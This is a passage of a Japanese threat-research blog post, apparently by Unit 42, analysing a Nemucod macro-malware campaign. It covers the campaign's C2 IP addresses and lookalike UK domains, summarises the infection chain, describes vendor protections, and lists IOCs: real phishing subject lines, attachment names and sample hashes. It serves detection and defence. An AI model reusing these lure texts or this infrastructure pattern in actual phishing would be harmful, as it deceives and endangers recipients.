詳細については後述しますが、本調査内で収集したすべてのサンプルについて IP アドレスとホスト名情報を調査するとさらに大掛かりなインフラが利用されていることが分かりました。とはいっても、本ブログ記事を通じ、これまで解説してきた単一の IP アドレスがその中心的存在でありつづけていることには変わりがありませんでした。図 29 に示すとおり、兵器化された文書を含むマルウェアのサンプル (赤い丸)、PE ファイルのサンプル (赤い丸に青いブックマーク)、そしてドメイン名(青い丸) はいずれも、この単一の IP アドレスと customer.clientshostname.co.uk というドメイン名に関連付けられていたのです。

図 29 に示す大半のサンプルは、2016 年 12 月に見つかった 2 つを除いて AutoFocus で 2017 年 1 月から 3 月にかけて見つかったものです。ホスト名 customer.clientshostname\[.\]com に名前解決される IP アドレスは図中オレンジの丸で示しています。このオレンジの丸につながっている青い丸は clientshostname\[.\]com のサブドメインを表しています。その大半には、姓と名を名姓の順に繋いだ「joebloggs」のような命名規則が用いているようでした。 DNS の逆引きすると、これらのサブドメインのいくつかが [Grizzly Steppe についての報告書](https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity)（リンク先英語）の IOC (Indicator of Compromise、攻撃や侵入の痕跡) に記載されている IP アドレスにつながっていました。分析されたサンプルからこうしたサブドメインがどのように使用されたかはわかっていません。
![図29: インフラの一部](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_26.png) 図29: インフラの一部

次の図は、ほかの 2 つの IP アドレス (185.130.104\[.\]156 と 185.130.104\[.\]178) に注目した図です。これら 2 つの IP アドレスは、同一のクラス C ネットワーク範囲に所属し、また前掲の図の IP と同一のクラス B ネットワーク範囲に所属しています。この図では、1 つの PE 実行ファイル (認証情報を窃取するスティーラーで、ここでは赤い丸に青いブックマークとして表示) を除き、すべてのバージョンが兵器化された文書で、そのほとんどがこの図の下部、半円の中心、ズームインされた矩形の中に示された IP アドレス 185.130.104\[.\]156 を参照しています。1つの例外を除いてすべてのサンプルが AutoFocus で 2016 年 11 月に見つかっています。この例外は矢印 1が示しているものでこれだけは 2016 年の 12 月の終わりに見つかっています。

興味深いことに、この IP アドレスもまた関連づけられたドメイン名がありました。これらのドメイン名をズームインした矩形内に示しています。

letstrade-bit\[.\]com、lesbtc\[.\]com (および mail.lesbtc\[.\]com)、secure-trade24\[.\]com などです。最初の 2 つのドメイン名は 2016 年 12 月 20 日に登録され、残りは 12 月 14 日に登録されていました。これら 3 つのドメインはいずれも取引やビットコイン (BTC) をうかがわせる名前が付けられていますがこれまで分析したサンプルでは、こうしたサブドメインがどのように使用されたのかについてははっきりしていません。しかしながらこれらはビットコインによる身代金支払いを要求する最近のランサムウェアを思わせる用語といえます。

IP アドレス 185.130.104\[.\]178 (矢印 2) には、関連する兵器化された文書のバージョンが 3 つあります。これらはすべてAutoFocus で 2017 年 2 月下旬に見つかったものです。図30では、前掲の IP アドレスと併せ、月ごとにどのように攻撃キャンペーンの波が変化しているか、また攻撃者が自身の C2 サーバーとの通信用にインフラ内でどのように異なる IP アドレスを切り替えて使っているかを示しています。
![図30: インフラの一部](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Partial-Infra.png) 図30: インフラの一部

攻撃者が一定のバージョンのグループごとに異なる C2 通信ホストを使用するという点に着目したのが次の図です。この図からさらに多くのバージョンのグループが C2 通信のために異なる IP アドレスを使っている様子が見て取れます。下の 2 つの IP アドレスはやはり互いに同一のクラス C ネットワーク範囲に所属しており、うち IP アドレス217.28.218\[.\]231 のものはある 1 つのバージョンでしか使用されていません (矢印 1)。なおこのバージョンが AutoFocus で 10 月 26 日に最初に見つかったバージョンでした (そしてこれが『ブレイキング・バッド』への言及が行われていたバージ

ョンです)。もう一つの IP アドレス 217.28.218\[.\]210 のホストは 12 個の既知のバージョンで C2 通信に使用されており、うち 3 つは認証情報を窃取する PE 実行ファイルでした。残りのファイルは兵器化された文書です。
![図31: 10 月 26 日に見つかった最初のバージョンを含むインフラの一部](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_28-1.png) 図31: 10 月 26 日に見つかった最初のバージョンを含むインフラの一部

以下の図 32 に示す 2 つの兵器化された文書のバージョンは、12 月 19 日と 12 月 30 日 に AutoFocus で見つかりました。これらのバージョンは他の大半のバージョンが電子メールで被害者に送信されたのとは異なり、web アプリケーション経由でダウンロードされたもので、感染元となったのは argos-tracking.co\[.\]uk という web サイトでした。被害を受けたのは英国の通信関連企業と医療関連に所属する組織でした。
![図 32: argos-tracking というドメイン名を示すインフラの一部](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_29-1.png) 図 32: argos-tracking というドメイン名を示すインフラの一部

.co.uk というセカンド レベル ドメイン (SLD) からは UK に本拠地をおくビジネスを標的としていることとがうかがわれます。これに加え、argos、 tracking という用語が使われていることから、これを見た英国市民の多くが、オンライン小売業と小包配送サービスを含め、英国を中心に小売販売事業を展開している Argos 社に関連しているドメインだろうと推測することになると思われます。この情報と AutoFocus を使って確認した英国の標的を合わせれば、この攻撃者グループが英国でソーシャル エンジニアリングによって被害者を騙そうとしたことは明らかです。

WHOIS のレコードによれば、argos-tracking.co\[.\]uk ドメインの登録者 は Mr Milosh Zotich というセルビア共和国ベルグラードの人間で、parking-1.domains4bitcoins\[.\]com と parking-2.domains4bitcoins\[.\]com をネームサーバーとして登録した上で 2016 年 12 月 15 日に現時点では廃止されている当該ドメインを登録していました。この登録日は AutoFocus でドメイン名がみつかるたった 4 日前です。Domains4bitcoins について若干捕捉すると、こうしたサービスは、デジタル暗号化された通貨を使うことにより、ドメイン登録やホスティング サービスの匿名で利用する用途で使われています。これらのネームサーバーは 12 月 20 日に ClouDNS の異なるネームサーバーに変更されていました。ClouDNS は無料でDNS ホスティングとドメイン名を提供しているサイトです。

もっとも最近の argos-tracking.co\[.\]uk ドメインへの変更は 2017 年 2 月 22 日 に行われた同ドメインの廃止申請です。この例は、侵害の成功率をあげるためなら攻撃者グループがどれほど被害者の偵察に手間をかけるかを示す好例と言えます。

## **まとめ**

{#\_Hlk483248114}Nemucod マルウェアは、主に兵器化された文書を使って攻撃をしかけてくるマルウェアです。兵器化した文書は悪意のある VBA マクロ コードを含んでいます。この VBA マクロ コードは、エンコードされた悪意のある JScript ファイルを組み立てて実行します。実行された JScript ファイルは攻撃者の C2 サーバーに被害者を登録してからペイロードをダウンロードします。この例では認証情報を盗むトロイの木馬の実行ファイルがダウンロードされています。

スパム攻撃キャンペーンで使われる電子メールに実行ファイルを添付し、添付した実行ファイルにエンコードした JScript のコンテンツをドロップさせるという手法は、兵器化した文書によってコンテンツをドロップする手法に比べるとほとんど使用されていません。というのも、電子メールに実行ファイルが添付されていると、被害者が疑念をいだきやすくなり、その結果うまく感染させられる確率が下がることが理由と推測されます。

Unit 42 チームと AutoFocus が 2016 年 10 月下旬から 2017 年 3 月下旬にかけて確認したこの特定の Nemucod 攻撃キャンペーンは、様々な国に影響を与えていましたが、とりわけヨーロッパの国々が数多くの産業セクタをまたいで大きな影響を受けていました。

本稿でこれまで説明してきたように、argos-tracking.co\[.\]uk ドメインの登録情報、その多くがロシア人の所有する King Servers ホスティング サービスに帰属する IP アドレスの場所、兵器化された文書で使われているコード ページと言語設定などの詳細を考慮すると、本マルウェア、マルウェアによる攻撃キャンペーン、また背後にいる攻撃者グループは、東ヨーロッパのいずれかの国に端を発している可能性が高いでしょう。

本攻撃で使用された配布文書の進化的な変更や、難読化のテクニック、ソーシャル エンジニアリング手法のように、ほかのスパム攻撃キャンペーンでも、最近は開発ペースと単独の攻撃キャンペーン内での変更により、より多くの被害者を集め、より長い期間検出を避けることに注目しています。これについてはまた[別の Unit 42 ブログ](https://blog.paloaltonetworks.com/2017/04/unit42-mole-ransomware-one-malicious-spam-campaign-quickly-increased-complexity-changed-tactics/)（リンク先英語）で説明していますのでこちらを参照してください。

パロアルトネットワークス製品をご利用のお客様はこれらの脅威から以下の方法で保護されています。

* これまで論じてきたすべてのサンプルは WildFire のサンドボックス プラットフォームで悪意があると判別されます。
* 特定されたドメインはすべて悪意があるドメインと判別されます。
* AutoFocus ユーザーの皆様は本稿で説明したマルウェアを[Nemucod](https://blog.paloaltonetworks.com/tag/nemucod/) （リンク先英語）タグで追跡できます。
* Traps をご利用のお客様は Nemucod の実行を Traps が阻止することにより保護されています。

兵器化された文書を Traps が保護しているエンドポイント上で実行すると、疑わしい子プロセスの実行によりデフォルトの制限がトリガーされ、システムが保護されます。この例では Winword.exe (Word のプロセス) が wscript.exe (Windows Scripting Host のプロセス) を実行しようとしています。こういった兵器化された文書はその多くが電子メール経由で着信することを勘案すると、実際には Outlook など電子メールクライアント

アプリケーションの実行プロセスツリーがより深いものになることが多いでしょう。すなわち、Outlookが Word を実行し、続いて Word が

Windows Scripting Host を実行するというシナリオです。次の 図 33 では、こうした活動に対する Traps の典型的な防止アラートを示しています。
![図 33:次世代エンドポイントセキュリティTrapsが子プロセスの実行制限によりマルウェア感染を阻止](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_31-1.png) 図 33:次世代エンドポイントセキュリティTrapsが子プロセスの実行制限によりマルウェア感染を阻止

次の図 34 は ESM (Enterprise Service Manager) 上で影響を受けたホストについての詳細画面を表示しています。トリガーされた制限 (1)、ホストのシステムと関与したプロセス群 (2) およびそのハッシュ値、バージョン、存在する場合は電子署名、その他関連するファイルや URL などです。この例では、Windows Scripting Host プロセスのコンテキストで実行しようとした JSE ファイルが (3) に記載されています。
![図 34: Traps Enterprise Service Manager (ESM) がブロックしたマルウェアとその制限内容についての詳細画面](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_32.png) 図 34: Traps Enterprise Service Manager (ESM) がブロックしたマルウェアとその制限内容についての詳細画面

### 付録**A: IOC**

#### **電子メールの添付ファイル名:**

* Microsoft Office Word Document.doc
* Details.doc
* List.doc
* Doc1.doc
* Agr.doc
* YoursDoc.doc
* Docs.doc
* YourGoods.doc
* R.doc
* r\_vk.doc
* Vertragskopie
* goods.doc
* Agreement\_copies.doc
* documents.doc
* Vertrag.doc
* file
* Bishop-GmbH-Vertrag.doc
* Rechn.doc
* Rec.doc

#### **電子メールの件名:**

* Your Eguipment
* AW:Your order was completed
* AW:Delivery
* Re:Delivery
* Documents
* AW:Goods
* Delivery
* Goods
* Package
* Re:Documents
* AW:Package
* Re:Order
* Re:Waiting for payment
* AW:Waiting for payment
* Re:agreement
* Re:Your order was completed
* AW:Order
* AW:Documents
* Re:Package
* Re:Goods
* AW:agreement
* Get Carried Away at The Peninsula
* Discover The Revolutionary Trick To Restore Your Memory!
* RE: Rechnung
* AW:Rechnungen
* RE:Rechnungen
* AWd: Rechnung
* RE: billing terms
* RE: We are waiting for your payment.
* RE: payment
* AWd:Rechnungen
* AW:Auftrag
* AW:Dokumentation
* AW:Technikdokumentation
* RE:Begleichung
* AW:Schlussbestimmungen
* re:bishop-gmbh-vertrag
* AW: Rechnung

#### **PE ドロッパーのハッシュ値**

* 1b64d1c93e53fa74d89c3362c30899644e9fef7f11292f40740b216bcbe03285
* 1db89009b678ba4517fc7490b9a7f597b838939499365374eba32347393fdd4e
* 85d56628f7ec277a5f49a801ef4793072edd56d9c26b0bdb9b3dc348366c734a
* b75b3ff65632b65d1d641075bd2f5ed0ede93da3a35d7f50068b9371ee5c4552
* ffc5e46200f16549f17d2d6e4d6e5e61239b711cd07fbf7932c31e2ea18a7865

#### **文書ドロッパーのハッシュ値**

* 0a59bc35fe7bd84c955402aba2ad3883a5cdb08deb353c8f6310a163109f0c60
* fee6b19ff8a39e83756345af421d3d85d20e67df62ac58bc05f514c368efc329
* 8e9af7d90193bddc89d1c3782477bde76f90707eb1900537c020fc02970bbd74
* c173085b954ff1055fb859e6584a9e0bb3919740752351ad50706c0b7be37b51
* 1faa27f82bcbad0acc444727e7be35147e5a2ee92757781e5f26db614d3cee7f
* 6ebd2955fb137b5c983bbfb7601ea49ceb1f66119d13ce850c12d89e8c6a3742
* 777560483cb903ba803bfdbbd1f37353706da3a265e32da44fffb3ec7fcf07a2
* 7df6bd0af983f87dc34a71d009a3bd3bd272e094c6c55bf765148d836129e10c
* d58cfd2d851b9c98f9de79d38944d72eddec1e2243f1065de7d8b1ed1bf1cddd
* 4916bc8dc91941a444d3aa41616eaebe8c3d4b095a0c566945b85c143ae532c1
* de5ac4aedaca5649758bf34c87fd59967c2adeaaa0be65a58b9c8e9f6a8660f1
* 368304125ffd86a234aeb8c05a90b7ee40b37dae1dea7178deeda522eac9dcbc
* 1384934c09f6551d19150bfcf8ae954f4969d0b9ff841c93f81ebb57eecc9a71
* f89edff923d1d2daf6b2ab36595e873ed7d1cd52c2f6b66b590fa636c17dced2
* b1d5bfb124a15ab9068cf413de430a1c2cbd7b2bf67a766cf971269c67c3eace
* 256078f83cf9535c72debffa3d34818789849131e9138589728b4085e2ae2169
* d3683a4fe910d5815541beb2c42b98827a1f6362073b9901a74c36e15072c1a2
* cfe56d178ff873a5d984220c96570144a6674ce1b675036566a93ff6d680a981
* 069a4abb186efb6c3b6733cb2f35151d03eefe40cfb626d3c42aaa5f7ef342c6
* 97ea044a5820f9271c21bd8f1bb381099fb188a7d9f54ac72a88bf41411cf1b3
* 5b331693bc7ad009db3905fd37edfa94c528b6c4eee024f7a35dcc9b6b8a9c26
* 7e62823f8a775674b6333ff535e93a9fc0bdcfd943c903fe85e614b34d692549
* a85b040e923e45a3e139576c2086a8f1671b1c60053274d850218ffa422f80e6
* 1c95a2a32b639008245a205f51aa7fbafc0b61ecc6879f9978be174feee516f4
* 9e9e7ade1def82a56898415c079bd3f861c143f9db6770a28592bbbe04d5f234
* 40fd876c5d7f859484a8d3a021ce3c5eeba23deb8574f4b598aeaa6a0ded7815
* 92c82d7ea7b89f02c5b8e7d93d2a4ad17fbc0688ff9ad881cc185c18ea466232
* ae3bb85b87d40a12e82b2545fd4c9087b3e847a744a27c1ac215dd38821ced87
* c600c7638474fb31664ab32fb9aad5c216096b2c68d93c9eb37cf0476868cf05
* 8451cf3f5e5e2576f2ad36a4f19998e5824c2ab185f40ddec460a81ab1a8525a
* 34e5104bea2728cf9107b4ede124daee8ac68ad0979c66c356ddf3a0e6d0f4c6
* 7b48b21b10990cd53bb8969930b9f0b39cc495e95a33c38f80024a21a72b0176
* dcf3c00a20af527869771a7834565fb938739e3abf84038e2376b23a14926a38
* d8e62ce3039921c11872319a09acc61038f2452a6a2fdb8c0d3a0848b56b26ff
* 50ab7834e98c2f40d7441006a0221c07bff5f9f694999b595daa29b37c9a5e12
* b4d3c369449ead7ced48f84b9ea29cb4dbc6f485958e813b102c1d32ce62d3e8
* a02ed37812ac37d44979d5131aa10927fb9b9bd09aae2b470e65532bc694b27c
* 61bcd9b0c11989d6049fd181786f1748116c128bd4768d1b6849805186190320
* 6edbbc7f02179211c5b8da74a770492e25b31be683468629a073f313f25ec8b6
* 985d44dfeaf83c2c39c331e4b07b19e8726fb0ec168223455476132fe8c32fc8
* 1a60afa5c3dcff0fc41179e6a3b71ea0a92e4b50192eaa4c8e2b16ea0c50a229
* 76edebe74e015e709abb662c4fa8a2db2f24c12d5b6c51822eef403bf3c3a304
* 3fdcaf24d5c45d7a8dcf1b2932c026915a982de19b52a8f346ca312c58d36f05
* 561343438f0c26fa7628a91584628a5bd62c3abe1c0cf890b9fdb0528adbde62
* 7f53abc951258d5663119f3ac383b8f84da5acbf0bb9063e5e113ca87b1843ae
* 7c552166089ebf45081a5d14bef331e3153a5de50c53b66211b044a08f46153c
* 432a220ca1e6c64546f21807e17521c243cce2a63d956d0c0cf21a1101835829
* 297665276699830549c83ae79cd2c48e23733e9569be8040ee38d08a4d99192e
* 5e54c865afbd42f5a7b4007840e3099d8e1882c58542d08263ffc23fe994ef9b
* 8aa5a12bb237f93fc0c3f150a41fcc60e86007b1000c2b133457b2be27dfad4e
* 8e7f77a61a1e710e368257a37fe6785f9b608bb068e5c40824623d299997dbf0
* 379615acf199bb0beaee736824067b83dcbb2ae60eb648576c81d4971330dd16
* ad94f396f739d4df07f188b9babee829d07da01c986f4795a098d66137c7149c
* ff7fa949a99d745143d41eeb6b450dca3d95a38031e304b1e829c5bda2ce5213
* 034421d601d43883528d68741c87e765d76ff4123161d364f6eddfae1f3c7493
* e86c5f4fbcd626e1ec4c211ae1ed0d541fc453e6753e84a724f534c0b9700029
* 8b96d5316accd7d2ee0af01a4ae2766b7173d7705b3eef14d9dcb10cd34238ed

#### **PE パスワード スティーラーのハッシュ値**

* 53edea186162d84803f8ff72fb83c85f427b3813c32bd9d9d899e74ae283368e
* 76b703c9430abf4e0ba09e6d4e4d6cf94a251bb0e7f3fadbd169fcef954a8b39
* 99c50b658c632214f0b133f8742a5e6d2d34e47497d7a08ed2d80e4299be3502
  トップに戻る

### タグ

* [Credential theft](https://unit42.paloaltonetworks.com/ja/tag/credential-theft-ja/ "credential theft")
* [Encoded JavaScript](https://unit42.paloaltonetworks.com/ja/tag/encoded-javascript-ja/ "Encoded JavaScript")
* [Grizzly Steppe](https://unit42.paloaltonetworks.com/ja/tag/grizzly-steppe-ja/ "Grizzly Steppe")
* [JSE](https://unit42.paloaltonetworks.com/ja/tag/jse-ja/ "JSE")
* [Macro](https://unit42.paloaltonetworks.com/ja/tag/macro-ja/ "Macro")
* [Nemucod](https://unit42.paloaltonetworks.com/ja/tag/nemucod-ja/ "Nemucod")
* [Scripting](https://unit42.paloaltonetworks.com/ja/tag/scripting-ja/ "scripting")  
  [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") [次ページ:LabyREnthティーザー サイト](https://unit42.paloaltonetworks.com/ja/unit42-labyrenth-teaser-site/ "LabyREnthティーザー サイト")

### 目次

* 

### 関連記事

* [脅威アクターによるWeb3 IPFS技術の採用が増加](https://unit42.paloaltonetworks.com/ja/ipfs-used-maliciously/ "article - table of contents")
* [解説 MitM (Meddler-in-the-Middle)フィッシング攻撃](https://unit42.paloaltonetworks.com/ja/meddler-phishing-attacks/ "article - table of contents")
* [サードパーティソフトウェアからのクレデンシャル収集](https://unit42.paloaltonetworks.com/ja/credential-gathering-third-party-software/ "article - table of contents")

## 関連項目 マルウェア リソース

![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年8月6日 [#### ChainDropの脅威の概要:自己増殖型npmワームの内部](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/ja/tag/blockchain-ja/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/ja/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/ja/tag/claude-code/ "Claude code")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/ "ChainDropの脅威の概要:自己増殖型npmワームの内部")  
  ![Pictorial representation of the npm packages supply chain attack. Screen displaying code with a prominent alert symbol and the words 'VIRUS DETECTED' highlighted in red.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/05_Malware_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年6月2日 [#### npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/)

* [Credential Harvesting](https://unit42.paloaltonetworks.com/ja/tag/credential-harvesting-ja/ "Credential Harvesting")

* [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub")

* [Npm packages](https://unit42.paloaltonetworks.com/ja/tag/npm-packages/ "npm packages")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/ "npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)")  
  ![Pictorial representation of Screening Serpens. An illustrated blue snake is highlighted by a red circle against a night sky. The constellation serpens.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/Serpens-Iran-A-1920x900-2-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2026年5月22日 [#### イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/)

* [Advanced Persistent Threat](https://unit42.paloaltonetworks.com/ja/tag/advanced-persistent-threat-ja/ "Advanced Persistent Threat")

* [AppDomainManager](https://unit42.paloaltonetworks.com/ja/tag/appdomainmanager/ "AppDomainManager")

* [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/ "イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡")  
  ![Pictorial representation of Iran cyber attacks. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/12_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月17日 [#### 脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/)

* [APK](https://unit42.paloaltonetworks.com/ja/tag/apk-ja/ "APK")

* [DDoS attacks](https://unit42.paloaltonetworks.com/ja/tag/ddos-attacks-ja/ "DDoS attacks")

* [GenAI](https://unit42.paloaltonetworks.com/ja/tag/genai-ja/ "GenAI")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/ "脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)")  
  ![Pictorial representation of the supply chain attack compromising Axios. A giant eye made of glowing binary code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/02_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月1日 [#### 脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/)

* [API attacks](https://unit42.paloaltonetworks.com/ja/tag/api-attacks-ja/ "API attacks")

* [JavaScript](https://unit42.paloaltonetworks.com/ja/tag/javascript-ja/ "JavaScript")

* [Powershell](https://unit42.paloaltonetworks.com/ja/tag/powershell-ja/ "Powershell")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/ "脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響")  
  ![Pictorial representation of TeamPCP. Glowing code on a screen where several word such as Crime, Hackers, and Security are highlighted in a contrasting color.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/03_Cybercrime_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年3月31日 [#### プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/)

* [CVE-2025-55182](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-55182-ja/ "CVE-2025-55182")

* [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub")

* [Infostealer](https://unit42.paloaltonetworks.com/ja/tag/infostealer-ja/ "Infostealer")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/ "プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃")  
  ![Pictorial representation of phishing campaign. A blurred image focusing on a person typing on a laptop with lines of code visible on the screen, illuminated in blue and red lights, suggestive of intense coding or cyber activities.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/06_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年3月24日 [#### 脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/)

* [Email scam](https://unit42.paloaltonetworks.com/ja/tag/email-scam/ "email scam")

* [Lure](https://unit42.paloaltonetworks.com/ja/tag/lure/ "lure")

* [Phishing](https://unit42.paloaltonetworks.com/ja/tag/phishing-ja/ "phishing")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/ "脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム")  
  ![Pictorial representation of Notepad++ supply chain compromise. A digital rendering of Earth from space, focusing on North and South America. The continents are illuminated in blue, with red lines and dots indicating data connections across various locations. Dark background highlights the vibrant network representation.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/11_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年2月11日 [#### 国家支援型の脅威アクターがNotepad++のサプライチェーンを悪用](https://unit42.paloaltonetworks.com/ja/notepad-infrastructure-compromise/)

* [Backdoor](https://unit42.paloaltonetworks.com/ja/tag/backdoor-ja/ "backdoor")

* [Cobalt Strike](https://unit42.paloaltonetworks.com/ja/tag/cobalt-strike-ja/ "Cobalt Strike")

* [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/notepad-infrastructure-compromise/ "国家支援型の脅威アクターがNotepad++のサプライチェーンを悪用")  
  ![Pictorial representation of runtime assembly attacks. Digital artwork of a glowing, futuristic shield disintegrating into small particles, set against a dark blue, bokeh-effect background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/09_Business_email_compromise_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月22日 [#### ランタイムアセンブリ攻撃の新たなフロンティア：LLMを活用したフィッシング用JavaScriptのリアルタイム生成](https://unit42.paloaltonetworks.com/ja/real-time-malicious-javascript-through-llms/)

* [API](https://unit42.paloaltonetworks.com/ja/tag/api-ja/ "API")

* [Google](https://unit42.paloaltonetworks.com/ja/tag/google-ja/ "Google")

* [JavaScript](https://unit42.paloaltonetworks.com/ja/tag/javascript-ja/ "JavaScript")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/real-time-malicious-javascript-through-llms/ "ランタイムアセンブリ攻撃の新たなフロンティア：LLMを活用したフィッシング用JavaScriptのリアルタイム生成")  
  ![Pictorial representation of SLOW#TEMPEST campaign. Digital artwork depicting a malware alert symbol on a computer screen, with background of blurred programming code in blue and red colors.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/07_Malware_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月2日 [#### Pyarmorを利用して難読化と検知回避を行うVVS Discord Stealer](https://unit42.paloaltonetworks.com/ja/vvs-stealer/)

* [Discord](https://unit42.paloaltonetworks.com/ja/tag/discord/ "Discord")

* [Infostealer](https://unit42.paloaltonetworks.com/ja/tag/infostealer-ja/ "Infostealer")

* [Python](https://unit42.paloaltonetworks.com/ja/tag/python-ja/ "Python")  
